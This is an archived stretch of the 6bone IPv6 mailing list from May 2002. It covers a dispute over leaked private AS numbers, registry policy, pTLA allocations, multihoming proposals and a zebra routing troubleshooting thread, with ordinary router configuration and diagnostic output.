> > > Cc: itojun@iijlab.net; 6bone@ISI.EDU; peering@v6bone.de
> > > Subject: Re: [6bone] 6Bone registry entries when multihomed?
> >
> > I don't like reply to a troll, but i reply for many reasons.
> >
> > > I normally don't engage in personal flames, but this has been
> > > on my chest for a looong time. I'm sure other members of the
> > > 6bone community will agree with me, so here goes (my 2 cents
> > > worth of rant).
> > >
> > > Deffayet claims 'RIPE wont give him an AS' but this is only
> > > logical as he does not operate an autonomous system, nor is
> > > he a LIR, rather
> > > two or three cablemodems at residential sites.
> >
> > First please respect me.
> > I'm not your dog, call me Nicolas or Nicolas DEFFAYET or Mr DEFFAYET,
> > not "DEFFAYET"
> >
> > I don't claim this.
> >
> > Have you read my mail ?
> > Be a LIR is plained for my project...
> >
> > Have you create your network in one day ?
> >
> > I don't use "cablemodems at residential sites".
> > It's the same if i tell that IPng.nl use 3 56k modems !
> >
> > You are a troll expert :)
> >
> > I don't like liar.
> >
> >
> > > AS65526 is giving transit to others, which is completely
> > > ludicrous. This shows up in the looking glass at AS8954:
> > >    Network                       Path
> > >    *  3ffe:82a0::/28             15589 12337 15671 65526 7521 i
> > >
> > > Now apparently AS15671 is non-well behaved (therefor the CC
> > > to their contact), and it is leaking this as-path into its peers.
> >
> > All routes sent my me, are in ALL case with community no-export.
> > This is not possible (execept of ISP have bugy router who don't
> > understand community).
> >
> > For information, community no-export = send routes to ibgp but NOT to
> > other eBGP.
> >
> > I have shutdown the announcement of my routes to v6bone.
> >
> > >
> > > Looking at the prefixes that AS15671 announces regularly,
> > > Deffayet's aren't amongst them. This leads me to believe that
> > > Deffayet is not using a private AS number to establish a
> > > session with his uplinks (he has three), but simply to
> > > circumvent the RIR policies which denied him an AS number
> > > (for, I might add, obvious reasons!).
> >
> > I will get soon a public AS.
> > But for respect the RIPE allocation rule, i need 2 transit IPv4.
> >
> > It's plained before for maximum the end of this year.
> >
> > >
> > > Now I ask again: can you please clean up the mess you are making ?
> >
> > If you have problem with "my" private ASN: noc@ndsoftwarenet.com
> > But it's very very rare because all my routes are sent with community
> > no-export and i send all routes (transit) only to peer who request this
> > to me.
> >
> > You can add filter if you want:
> >
> > ip as-path access-list private-asn-in deny
> > _(6451[2-9]|645[2-9][0-9]|64[6-9][0-9][0-9]|65[0-4][0-9][0-9]|655[0-2][0
> > -9]|6553[0-5])_
> > ip as-path access-list private-asn-in permit .*
> >
> >
> > Best Regards,
> >
> > Nicolas DEFFAYET
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >
>
>


From david@iprg.nokia.com Tue May 21 17:57:21 2002
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Date: Tue, 21 May 2002 17:57:15 -0700
From: David Kessens <david@IPRG.nokia.com>
To: Nicolas DEFFAYET <nicolas.deffayet-extml@ndsoftwaregroup.com>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] 6Bone registry entries when multihomed?
Message-ID: <20020521175715.A3637@iprg.nokia.com>
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Nicolas,

On Tue, May 21, 2002 at 06:43:31PM +0200, Nicolas DEFFAYET wrote:
> 
> Why remove/forbid private ASN (ipv6-site ? because a aut-num can't be
> registered at this time) from 6bone whois ? 6bone whois is a test whois
> database.

Please don't spread this kind of misinformation about the server.
The whois server is not a test server at all and is the official
registry for the 6bone.

We have very liberal policies in place for registration of
information. That means that everybody who uses this information is
well advised to use filters in order to distinguise some bad
information from the good information. We are this liberal because we
don't want to make the use of the registry a burden for the legitimate
6bone community. 

I can put in more restrictive policies if the community desires so.
It's users like you who sometimes make me wonder whether I should ask
the community to put such more restrictive policies in place. You
might want to consider to be more careful in what you are doing on the
6bone and the work that you create for me with your continious
changing objects and mail servers that never seem to work. There is
serious people on the 6bone who want to work with ipv6. Your project
is causing an enormous distraction for many people who want to find
out about the real problems in deploying ipv6. 

You are welcome to participate, whether you are small or big. However,
this participation comes with certain responsibilities. One of these
responsibilities is that you take comments/concerns from other people
seriously and fix issues when they arise. You clearly have a problem
with private AS#'s leaking out and I would like to suggest that you
try to resolve that with your providers instead of blaming other
people for a problem that ultimately originates from your network.

Thanks,

David K.
---

From dave@dave2.dave.tj Tue May 21 21:29:18 2002
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From: Dave <dave@dave.tj>
Subject: Re: [6bone] unsubscribe
In-reply-to: <8E8A6F537294EA4481D8821DCB2F22B75553@mail.DATAVOXin.net>
To: Namal@datavox.net (RS Namal)
Cc: 6bone@ISI.EDU
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Try sending an email with the subject "unsubscribe" to
<6bone-request@isi.edu>.  That should work, now that 6bone is on real
mailman (as opposed to their majordomo's attempts at fooling us into
thinking it was mailman a week or so ago).

 - Dave


RS Namal wrote:
> 
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> Can somebody help me to unsubscribe from 6bone? I am trying various
> ways, but yet unsuccessful.
> 
> =20
> 
> 
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> 


From nicolas.deffayet-extml@ndsoftwaregroup.com Wed May 22 05:21:31 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: "'David Kessens'" <david@IPRG.nokia.com>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] 6Bone registry entries when multihomed?
Date: Wed, 22 May 2002 14:20:59 +0200
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> -----Original Message-----
> From: David Kessens [mailto:david@IPRG.nokia.com] 
> Sent: Wednesday, May 22, 2002 2:57 AM
> To: Nicolas DEFFAYET
> Cc: 6bone@ISI.EDU
> Subject: Re: [6bone] 6Bone registry entries when multihomed?
> 
> 
 
Dear David,
 
> On Tue, May 21, 2002 at 06:43:31PM +0200, Nicolas DEFFAYET wrote:
> >  
> 
> I can put in more restrictive policies if the community 
> desires so. It's users like you who sometimes make me wonder 
> whether I should ask the community to put such more 
> restrictive policies in place. You might want to consider to 
> be more careful in what you are doing on the 6bone and the 
> work that you create for me with your continious changing 
> objects and mail servers that never seem to work. There is 
> serious people on the 6bone who want to work with ipv6. Your 
> project is causing an enormous distraction for many people 
> who want to find out about the real problems in deploying ipv6. 

I'm sorry if i create work for you.
6bone database is not fully automatic (except for mnter object who need
manual intervention) ?
I have decide this before this mail (i have remove ipv6-fr-cust and all
user whois)): i don't create anymore individual whois for users of
IPv6-FR project (it's not the same project that NDSoftware, IPv6-FR is a
french project for the developement of IPv6 in France). I have do this
because you have a lot of problem with mail servers of users and with
more than 40 users i can't maint individual whois in good conditions.
I don't think that you have problem with my mail servers because i have
many MX checked my monitoring tool.
I will now more pay attention to whois create/update/delete.

> 
> You are welcome to participate, whether you are small or big. 
> However, this participation comes with certain 
> responsibilities. One of these responsibilities is that you 
> take comments/concerns from other people seriously and fix 
> issues when they arise. You clearly have a problem with 
> private AS#'s leaking out and I would like to suggest that 
> you try to resolve that with your providers instead of 
> blaming other people for a problem that ultimately originates 
> from your network.

For information, i'm responsable of NDSoftware and IPv6-FR project, you
(and all peoples) can contact me if you have problem with this projects,
don't hesitate, i'm open to all requests (except troll like the Pim's
troll) for fix my errors.

I do very attention with my private ASN (all my routes are sent with
community no-export) and i don't provide transit except if the peer ask
me for it.

"Dear Nicolas DEFFAYET,

Peer is ok.
BTW, please give me your full route.
It seems disappear from yesterday.

Thank you."

I don't send anymore routes to v6bone (completel) because one of users
of 6bone have report me a problem (see previous mails). I will apply
this for each peer who reannonce my routes with my private ASN.
Problem with it => don't annonces routes anymore

If anyone find this policy bad, tell me.

I wait your comments...

Thanks

Best Regards,

Nicolas DEFFAYET


From bmanning@ISI.EDU Wed May 22 09:13:19 2002
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Subject: Re: [6bone] 6bone pTLA 3FFE:4009::/32 allocated to VERAT
In-Reply-To: <5.1.0.14.0.20020521064954.02989c98@imap2.es.net> from Bob Fink at "May 21, 2 06:51:10 am"
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 until then....

;; QUESTION SECTION:
;9.0.0.4.e.f.f.3.ip6.int.       IN      NS

;; AUTHORITY SECTION:
9.0.0.4.e.f.f.3.ip6.int. 86400  IN      NS      noserver.




% VERAT has been allocated pTLA 3FFE:4009::/32 having finished its 2-week 
% review period.
% 
% <http://whois.6bone.net/cgi-bin/whois?VERAT>
% 
% 
% Note that it will take a short while for their pTLA inet6num entry to 
% appear in the 6bone registry as they have to create it themselves. However, 
% their registration is listed on:
% 
% <http://www.6bone.net/6bone_pTLA_list.html>	
% 
% 
% [To create a reverse DNS registration for pTLAs, please send the prefix 
% allocated above, and a list of at least two authoritative nameservers, to 
% hostmaster@ep.net.]
% 
% 
% Thanks,
% 
% Bob
% 
% _______________________________________________
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-- 
--bill

From michael@kjorling.com Wed May 22 11:01:14 2002
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From: Michael Kjorling <michael@kjorling.com>
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Subject: Re: [6bone] 6bone pTLA 3FFE:4009::/32 allocated to VERAT
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On May 22 2002 09:13 -0700, Bill Manning wrote:

>  until then....
>
> ;; QUESTION SECTION:
> ;9.0.0.4.e.f.f.3.ip6.int.       IN      NS
>
> ;; AUTHORITY SECTION:
> 9.0.0.4.e.f.f.3.ip6.int. 86400  IN      NS      noserver.

Wouldn't it be better to simply not put in any delegation information?
That would give a quick NXDOMAIN response, instead of the resolver
having to go off and ask the root servers about "noserver", only to
find out it doesn't exist.

Granted, negative caching will mitigate this problem, but why put
unnecessary load on the root servers when it can be avoided?

Also I'm not sure how exactly a NS pointing to a non-existent RR is
handled. NXDOMAIN, or SERVFAIL?

Might have to check, just for the heck of it...


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
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From nicolas.deffayet-extml@ndsoftwaregroup.com Wed May 22 12:32:10 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: "'Michael Kjorling'" <michael@kjorling.com>, "'6bone'" <6bone@ISI.EDU>
Subject: RE: [6bone] 6bone pTLA 3FFE:4009::/32 allocated to VERAT
Date: Wed, 22 May 2002 21:31:41 +0200
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> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu 
> [mailto:6bone-admin@mailman.isi.edu] On Behalf Of Michael Kjorling
> Sent: Wednesday, May 22, 2002 8:01 PM
> To: 6bone
> Subject: Re: [6bone] 6bone pTLA 3FFE:4009::/32 allocated to VERAT
> 
> On May 22 2002 09:13 -0700, Bill Manning wrote:
> 
> >  until then....
> >
> > ;; QUESTION SECTION:
> > ;9.0.0.4.e.f.f.3.ip6.int.       IN      NS
> >
> > ;; AUTHORITY SECTION:
> > 9.0.0.4.e.f.f.3.ip6.int. 86400  IN      NS      noserver.
> 
> Wouldn't it be better to simply not put in any delegation 
> information? That would give a quick NXDOMAIN response, 
> instead of the resolver having to go off and ask the root 
> servers about "noserver", only to find out it doesn't exist.
> 
> Granted, negative caching will mitigate this problem, but why 
> put unnecessary load on the root servers when it can be avoided?
> 
> Also I'm not sure how exactly a NS pointing to a non-existent 
> RR is handled. NXDOMAIN, or SERVFAIL?
> 
> Might have to check, just for the heck of it...

I think that it's a good idea to ask for nameservers in pTLA request.

It's plained to do stats on nameserver of pTLA like the RIPE ?
(http://www.ripe.net/ripencc/pub-services/stats/revdns/index.html)

Best Regards,

Nicolas DEFFAYET


From michael@kjorling.com Wed May 22 13:14:42 2002
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On May 22 2002 21:31 +0200, Nicolas DEFFAYET wrote:

> I think that it's a good idea to ask for nameservers in pTLA request.

While I agree in principle, there is one problem with this. Without
knowing the prefix allocated, setting up the name servers to serve it
gets pretty tricky. I do think it would be a good idea to clearly
state that reverse DNS _is_ required in either RFC 2772 or its
successor, though.

The problem is that without some way to enforce that, it gets nothing
but a blow in the air. We don't need rules that are impossible or
extremely hard to enforce beyond the "would you please do this"
point - I think more or less everyone here can agree with that.


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

``And indeed people sometimes speak of man's "bestial" cruelty, but
this is very unfair and insulting to the beasts: a beast can never be
so cruel as a man, so ingeniously, so artistically cruel.''
(Ivan Karamazov, in Dostoyevsky's 'The Brothers Karamazov')
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From ishida@netlab.nttdocomo.co.jp Mon May 20 17:01:29 2002
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Subject: [6bone] Magic Packet with IPv6
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Dear all,

I want to start my PC on other Ethernet with Magic Packet (
http://www.amd.com/us-en/Networking/NetworkingApplications/0,,50_2332_2627_2481,00.html
).
What destination IPv6 address I use?

If I send IPv4 packet to broadcast IPv4 address of other Ethernet,
the router may send the packet with broad-cast MAC address.
Then my PC's LAN controller catch the packet and my PC wake up.

I want to do this with IPv6.



-----------------
Ishida So <ishidas@nttdocomo.co.jp>
Network Laboratories, NTT DoCoMo, Inc.


From michel@arneill-py.sacramento.ca.us Wed May 22 20:45:16 2002
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Subject: [6bone] Roadmap to IPv6 multihoming: no PI addresses.
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6boner,

My candid view on IPv6 multihoming, comments welcomed.

Michel.

+-----------------------------------------------+
| Roadmap to IPv6 multihoming: no PI addresses. |
+-----------------------------------------------+

Assessment of the current IPv6 multihoming situation:
-----------------------------------------------------

- Regardless of the availability of multihoming protocols, independence
from the service provider is highly desired by multihomers.
- The pressure is increasing on RIRs to allocate PI blocks.
- RIRs have delayed PI allocation as it creates long-term known
problems.
- The current policies effectively prohibit multihoming for everyone but
ISPs (even RIRs themselves can not use PI addresses).
- It is clear at this time that PA addresses alone do not address
today's needs.

The current roadmap to IPv6 multihoming is:
- Offer a short-term alternative that would prevent the deployment of PI
addresses: "geo for now".
- Finish developing a long-term, scalable solution: MHAP.
- ISP multihoming remains unchanged.


"geo for now"
-------------
The idea is to create a low-ambition geographic aggregation model that
can be adopted using today's technology, requires no changes to physical
infrastructure and few changes to current operational practices. Current
work includes making geo for now and MHAP compatible to the migration
from the shorter-term geo for now to the longer-term MHAP smooth.

Geo addresses are:
- Allocated depending on the location of the site.
- Allocated by RIRs or NIRs
- Locally portable.
- Globally unique.
- Aggregatable.

Regardless of the actual aggregation ratio achieved, geo addresses are
always preferable to PI; PI addresses will never be aggregated, geo will
some day.

Therefore, no IPv6 PI addresses must be ever used in any situation and
geo addresses must be used instead.

In other words, PI addresses offers no hope of aggregation, geo
addresses do. The choice between PI and geo is a no-brainer: geo.



MHAP
----
This is currently a working document of the ipv6mh mailing list. The
draft is relatively mature and an earlier form was submitted to the IETF
a year ago (it has evolved since then). MHAP is a full-blown mid to
long-term solution.


MHAP Features:

- Zero impact on the DFZ's routing table. The DFZ's routing table stays
strongly aggregated.
- Provides multihomed, provider-independent, /48 address space for any
site.
- Very large organizations that require more can get a /47 or bigger.
- Scalable (4 billion multihomed sites, initial allocation).
- Addresses are aggregated at geographic areas boundaries.
- There is no need for Internet eXchanges at aggregation boundaries.
- MHAP is transparent to hosts. No modification of existing stacks is
required and end-to-end traffic is unchanged.
- More than 90% of routers would not require modification.
- Provides global load balancing.
- Provides survivability of open sessions.
- There is no MTU reduction.
- Can be run on hardware available today.
- Gradual migration, no "flag day".
- IPv6 only protocol.
- MHAP provides site multihoming. ISP multihoming is unchanged.


MHAP Concepts:

- Multihomed address space exists only at the edge. The end-to-end
multihomed traffic is carried over aggregated PA address space in the
core.
- A site gets PA addresses from ISPs and multihomed provider-independent
space from a registry.
- The process of transforming multihomed traffic to PA and back is
called aliasing and relies on the presence of rendezvous points and
aggregators.
- Rendezvous points and aggregators answer topology requests. They do
not carry traffic.
- There is a separation between the DFZ's routing table and the
multihomed space routing tables. The entire multihomed space is
represented by two aggregates in the DFZ's routing table.
- The only multihomed traffic on backbones is topology requests and
routing updates.
- There are two types of multihomed addresses:
  o Centralized, portable, for large multinational organizations.
  o Geographical, portable only within a geographic area.
- There is no centralized table for geographic addresses.
- The routing table for centralized prefixes remains contained to
rendezvous points.
- No multihomed site receives full multihomed tables. All a multihomed
site needs is the small DFZ's routing table.


From fink@es.net Thu May 23 06:44:37 2002
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From: Bob Fink <fink@es.net>
Cc: enric@satec.es (Enric Corominas),
   6bone reverse DNS registration <hostmaster@ep.net>
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Subject: [6bone] 6bone pTLA 3FFE:400A::/32 allocated to SATEC
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SATEC has been allocated pTLA 3FFE:400A::/32 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?SATEC>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From jorgen@hovland.cx Thu May 23 08:02:27 2002
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Subject: Re: [6bone] Roadmap to IPv6 multihoming: no PI addresses.
Date: Thu, 23 May 2002 17:02:16 +0200
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I dont really think there is a problem.  If everybody used ipv6 instead of
ipv4 right now, we would probably have less prefixes than today. There are
around 109327 ipv4 prefixes today, but only around 65000 as numbers.
Im not sure really how big/the usage of a ipv6 /35 is if you compare it to a
ipv4 /16.  There are no lir's today with more than 1 real ipv6 prefix
anyway? That would result in something like: number of asn's == number of
prefixes wouldnt it?

As you stated, the problem might begin with too many wanting a multihomed
solution.
Since becoming a LIR is not free (atleast not in europe/ripe), it would
restrict itself.  Small company's probably wont spend that ammount of money
just to get a LIR membership.  Its not worth it. Some enterprises do need
multihoming: stockexchanges, banks etc. Only allowing isp's to be multihomed
is crap.  As long as the price for LIR membership is high enough, the
problem is solved :-)

I agree with the PI-address suggestion. They should drop it completely.

Right now, I recieved an email from ripe. They are implementing a new global
ipv6 policy. Im not familiar with it, but Im looking forward to read it.
Maybe somebody knows whats it about?

---------------
Dear Colleagues,

We are pleased to announce that the RIPE NCC will implement the new
Global IPv6 Policy on 1 July 2002. This policy has been agreed by
the communities of all the Regional Internet Registries (RIRs).

Before 1 July 2002 we will publish and announce the following as
RIPE Documents:

        - Global IPv6 Policy Document
        - Initial IPv6 Allocation Request Form in the RIPE NCC
          Service Region
        - IPv6 End User Site Assignment Request Form in the RIPE
          NCC Service Region (for prefixes shorter than a /48)

------------------------------

Joergen Hovland
WebOnline AS

----- Original Message -----
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: <6bone@ISI.EDU>
Sent: Thursday, May 23, 2002 5:45 AM
Subject: [6bone] Roadmap to IPv6 multihoming: no PI addresses.


> 6boner,
>
> My candid view on IPv6 multihoming, comments welcomed.
>
> Michel.
>
> +-----------------------------------------------+
> | Roadmap to IPv6 multihoming: no PI addresses. |
> +-----------------------------------------------+
>
> Assessment of the current IPv6 multihoming situation:
> -----------------------------------------------------
>
> - Regardless of the availability of multihoming protocols, independence
> from the service provider is highly desired by multihomers.
> - The pressure is increasing on RIRs to allocate PI blocks.
> - RIRs have delayed PI allocation as it creates long-term known
> problems.
> - The current policies effectively prohibit multihoming for everyone but
> ISPs (even RIRs themselves can not use PI addresses).
> - It is clear at this time that PA addresses alone do not address
> today's needs.
>
> The current roadmap to IPv6 multihoming is:
> - Offer a short-term alternative that would prevent the deployment of PI
> addresses: "geo for now".
> - Finish developing a long-term, scalable solution: MHAP.
> - ISP multihoming remains unchanged.
>
>
> "geo for now"
> -------------
> The idea is to create a low-ambition geographic aggregation model that
> can be adopted using today's technology, requires no changes to physical
> infrastructure and few changes to current operational practices. Current
> work includes making geo for now and MHAP compatible to the migration
> from the shorter-term geo for now to the longer-term MHAP smooth.
>
> Geo addresses are:
> - Allocated depending on the location of the site.
> - Allocated by RIRs or NIRs
> - Locally portable.
> - Globally unique.
> - Aggregatable.
>
> Regardless of the actual aggregation ratio achieved, geo addresses are
> always preferable to PI; PI addresses will never be aggregated, geo will
> some day.
>
> Therefore, no IPv6 PI addresses must be ever used in any situation and
> geo addresses must be used instead.
>
> In other words, PI addresses offers no hope of aggregation, geo
> addresses do. The choice between PI and geo is a no-brainer: geo.
>
>
>
> MHAP
> ----
> This is currently a working document of the ipv6mh mailing list. The
> draft is relatively mature and an earlier form was submitted to the IETF
> a year ago (it has evolved since then). MHAP is a full-blown mid to
> long-term solution.
>
>
> MHAP Features:
>
> - Zero impact on the DFZ's routing table. The DFZ's routing table stays
> strongly aggregated.
> - Provides multihomed, provider-independent, /48 address space for any
> site.
> - Very large organizations that require more can get a /47 or bigger.
> - Scalable (4 billion multihomed sites, initial allocation).
> - Addresses are aggregated at geographic areas boundaries.
> - There is no need for Internet eXchanges at aggregation boundaries.
> - MHAP is transparent to hosts. No modification of existing stacks is
> required and end-to-end traffic is unchanged.
> - More than 90% of routers would not require modification.
> - Provides global load balancing.
> - Provides survivability of open sessions.
> - There is no MTU reduction.
> - Can be run on hardware available today.
> - Gradual migration, no "flag day".
> - IPv6 only protocol.
> - MHAP provides site multihoming. ISP multihoming is unchanged.
>
>
> MHAP Concepts:
>
> - Multihomed address space exists only at the edge. The end-to-end
> multihomed traffic is carried over aggregated PA address space in the
> core.
> - A site gets PA addresses from ISPs and multihomed provider-independent
> space from a registry.
> - The process of transforming multihomed traffic to PA and back is
> called aliasing and relies on the presence of rendezvous points and
> aggregators.
> - Rendezvous points and aggregators answer topology requests. They do
> not carry traffic.
> - There is a separation between the DFZ's routing table and the
> multihomed space routing tables. The entire multihomed space is
> represented by two aggregates in the DFZ's routing table.
> - The only multihomed traffic on backbones is topology requests and
> routing updates.
> - There are two types of multihomed addresses:
>   o Centralized, portable, for large multinational organizations.
>   o Geographical, portable only within a geographic area.
> - There is no centralized table for geographic addresses.
> - The routing table for centralized prefixes remains contained to
> rendezvous points.
> - No multihomed site receives full multihomed tables. All a multihomed
> site needs is the small DFZ's routing table.
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From michel@arneill-py.sacramento.ca.us Thu May 23 08:33:57 2002
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Subject: RE: [6bone] Roadmap to IPv6 multihoming: no PI addresses.
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Jørgen,

> Jørgen Hovland wrote:
> I dont really think there is a problem. If everybody used ipv6 instead
> of ipv4 right now, we would probably have less prefixes than today.
> There are around 109327 ipv4 prefixes today, but only around 65000 as
> numbers.

About ~12k ASNs are allocated today.

> Im not sure really how big/the usage of a ipv6 /35 is if you compare
> it to a ipv4 /16.  There are no lir's today with more than 1 real ipv6
> prefix anyway? That would result in something like: number of asn's
> == number of prefixes wouldnt it?

We have made the same analysis, and it's close enough although a little optimistic (some will have both a 2001 prefix and a 3ffe); the issue here is that 64k ASNs are not going to last forever, see:
http://search.ietf.org/internet-drafts/draft-ietf-idr-as4bytes-05.txt


> Since becoming a LIR is not free (at least not in europe/ripe), it would
> restrict itself. Small company's probably wont spend that ammount of
> money just to get a LIR membership. Its not worth it.

I have a problem with a system that favors the rich and the powerful. It is a legitimate demand for any size site to be multihomed, especially the small that uses cheesy technology. A large routing table favors big operators, because they are the only ones that can afford to buy the GSR or M160 that gets the job done. We can do better than this.


> Right now, I recieved an email from ripe. They are implementing a new
> global ipv6 policy. Im not familiar with it, but Im looking forward to
> read it. Maybe somebody knows whats it about?

==> - IPv6 End User Site Assignment Request Form in the RIPE
==>    NCC Service Region (for prefixes shorter than a /48)

I have not seen this very form yet, regardless of its name this is the beginning of PI allocation. (Note that I support the new policy by lack of a better one).

Michel.


From Robert.Kiessling@de.easynet.net Thu May 23 09:18:36 2002
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"Michel Py" <michel@arneill-py.sacramento.ca.us> writes:

> ==> - IPv6 End User Site Assignment Request Form in the RIPE
> ==>    NCC Service Region (for prefixes shorter than a /48)
> 
> I have not seen this very form yet, regardless of its name this is the beginning of PI allocation.

Not at all. This is for very large sites for which an assignment of
/48 is too small. It is still PA, without any signs of PI, apart from
*possibly* the size of the netblock which *might* make it more likely
to be accepted globally. But that is not under the RIRs' control.

Robert


From michel@arneill-py.sacramento.ca.us Thu May 23 13:10:40 2002
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Robert,

==> - IPv6 End User Site Assignment Request Form in the RIPE
==>    NCC Service Region (for prefixes shorter than a /48)

> Robert Kiessling wrote:
> Not at all. This is for very large sites for which an assignment of
> /48 is too small. It is still PA, without any signs of PI, apart from
> *possibly* the size of the netblock which *might* make it more likely
> to be accepted globally. But that is not under the RIRs' control.

Thanks for the precision. It would be interesting to follow up how many of these are allocated, as it makes little sense to me. If you need a /48, you have more than 64k subnets. It appears dangerous to me configuring a network that size with addresses that belongs to a LIR, even if you actually own the LIR.

If my memory is correct, the feds forced WorldCom to sell CWnet a while ago, leaving some parts of MCI to renumber.

Michel.


From Robert.Kiessling@de.easynet.net Thu May 23 16:34:11 2002
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"Michel Py" <michel@arneill-py.sacramento.ca.us> writes:

> Thanks for the precision. It would be interesting to follow up how
> many of these are allocated, as it makes little sense to me.

Just look at the respective whois databases.

> If you need a /48, you have more than 64k subnets.

Right, if you make full use of them. But bear in mind that in IPv6
aggregation wins over conservation. A suitable hierarchy "wastes" a
lot of address space. Thus the H ratio was chosen as a better approach
to measure utilisation, taking into account aggregation and hierarchy,
and in my understanding you wouldn't actually need 64k subnets to
justify a larger assignment, but rather about 7k.

> It appears dangerous to me configuring a network that size with
> addresses that belongs to a LIR, even if you actually own the LIR.

So you question the very principle of PA addresses. Well, I don't feel
like arguing about that.

Robert


From nicolas.deffayet-extml@ndsoftwaregroup.com Thu May 23 16:56:16 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
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Subject: [6bone] IPv6 routing problem with zebra and kernel
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Hello,

First, sorry for cross-post but the problem is related to a lot of
mailing-lists.

I have a strange problem on one of my router:
lacr1.us.ndsoftwarenet.net.

I get "connect: Network is unreachable", when i try a traceroute or a
connection from the router to a host on 6bone.
The problem is random, because a destination www.kame.net can work but
not www.6bone.net (for exemple) and after restart zebra www.6bone.net
can work but not www.kame.net. Often, all destinations don't work.

OS: Debian 3.0 (sid/unstable) with last update
Kernel: 2.4.18 (i have try kernel 2.4.18 USAGI (last snapshot) and
standard (from kernel.org) but same problem
Zebra: 0.93 CVS (i have try 0.92a too but same problem)

It's not the zebra configuration (zebra.conf, bgpd.conf), because all my
routers have the same configuration.

How i can fix this problem ?

Any help are welcome.

---

When a user, connected on router try traceroute:

wireless:/etc/zebra# /usr/sbin/traceroute6 phenix.rootshell.be
traceroute to phenix.rootshell.be (3ffe:8100:200:1fff::25) from
3ffe:81f1:3:2006::2, 30 hops max, 16 byte packets
1  tun6-0-lacr1.us.ndsoftwarenet.net (3ffe:81f1:3:2006::1)  118.109 ms
!H 125.594 ms !H 119.42 ms !H
wireless:/etc/zebra#

---

When i try a traceroute from router:

# traceroute6 www.6bone.net
connect: Network is unreachable

---

Kernel routing table, good route on the good interface:

# route -A inet6 | grep 3ffe:b00::/24
3ffe:b00::/24                               fe80::d55b:403
UG    1024   0        0 sit1

---

BGP is OK:

lacr1.us.ndsoftwarenet.net> show ipv6 bgp 3ffe:b00::/24
BGP routing table entry for 3ffe:b00::/24
Paths: (2 available, best #1, table Default-IP-Routing-Table)
  Advertised to non peer-group peers:
  3ffe:81f1:3:1000::2
  10566
    3ffe:81f1:1:2054::1 from 3ffe:81f1:1:2054::1 (213.91.4.3)
    (fe80::d55b:403)
      Origin incomplete, localpref 100, valid, internal, best
      Last update: Thu May 23 06:04:22 2002
 
  2042 10566
    3ffe:81f1:3:2004::2 from 3ffe:81f1:3:2004::2 (202.187.22.65)
    (fe80::cabb:1602)
      Origin incomplete, localpref 100, valid, external
      Last update: Thu May 23 06:04:20 2002
 
lacr1.us.ndsoftwarenet.net>

---

Zebra routing table is OK:

lacr1.us.ndsoftwarenet.net> show ipv6 route 3ffe:b00::/24
Routing entry for 3ffe:b00::/24
  Known via "bgp", distance 200, metric 0, best
  Last update 00:06:35 ago
  * fe80::d55b:403, via sit1
 
lacr1.us.ndsoftwarenet.net>

---

Zebra compiled with --enable-netlink

zebra.log:
2002/05/23 06:06:26 ZEBRA: netlink-listen error: File exists,
type=RTM_NEWROUTE(24), seq=742, pid=0
2002/05/23 06:06:26 ZEBRA: netlink-listen error: File exists,
type=RTM_NEWROUTE(24), seq=743, pid=0
2002/05/23 06:14:20 ZEBRA: netlink_talk: ignoring message type 0x0019
2002/05/23 06:14:20 ZEBRA: netlink_talk: ignoring message type 0x0019
 
---
 
Zebra compiled with --disable-netlink
 
zebra.log:
2002/05/23 06:15:13 ZEBRA: can't delete ipv6 route: No such process
2002/05/23 06:15:13 ZEBRA: can't delete ipv6 route: No such process
2002/05/23 06:15:13 ZEBRA: can't add ipv6 route: File exists
2002/05/23 06:15:13 ZEBRA: can't add ipv6 route: File exists

---

Best Regards,

Nicolas DEFFAYET


From michel@arneill-py.sacramento.ca.us Thu May 23 16:56:43 2002
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Robert,

>> If you need a /48, you have more than 64k subnets.

> Robert Kiessling wrote:
> Right, if you make full use of them. But bear in mind that in
> IPv6 aggregation wins over conservation. A suitable hierarchy
> "wastes" a lot of address space. Thus the H ratio was chosen as a
> better approach to measure utilisation, taking into account
> aggregation and hierarchy, and in my understanding you wouldn't
> actually need 64k subnets to justify a larger assignment, but
> rather about 7k.

Agree. For 65k actual subnets, we are talking about a /45 or so.

>> It appears dangerous to me configuring a network that size with
>> addresses that belongs to a LIR, even if you actually own the LIR.

> So you question the very principle of PA addresses.

You misunderstand me, I don't. It is one of the necessary building
blocks. I question the business sense and timing of building today a 7k+
subnets network in the lack of a multihoming solution and by getting
married to a provider.

Michel.


From Marc.Blanchet@viagenie.qc.ca Fri May 24 02:42:20 2002
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From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
To: Nicolas DEFFAYET <nicolas.deffayet-extml@ndsoftwaregroup.com>,
   Mailing-List 6bone <6bone@ISI.EDU>,
   Mailing-List Debian IPv6 <debian-ipv6@lists.debian.org>,
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Subject: [6bone] Re: IPv6 routing problem with zebra and kernel
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just guessing:
- might be just a problem of connexion time.
- I would try traceroute -w  with some higher number than the default and 
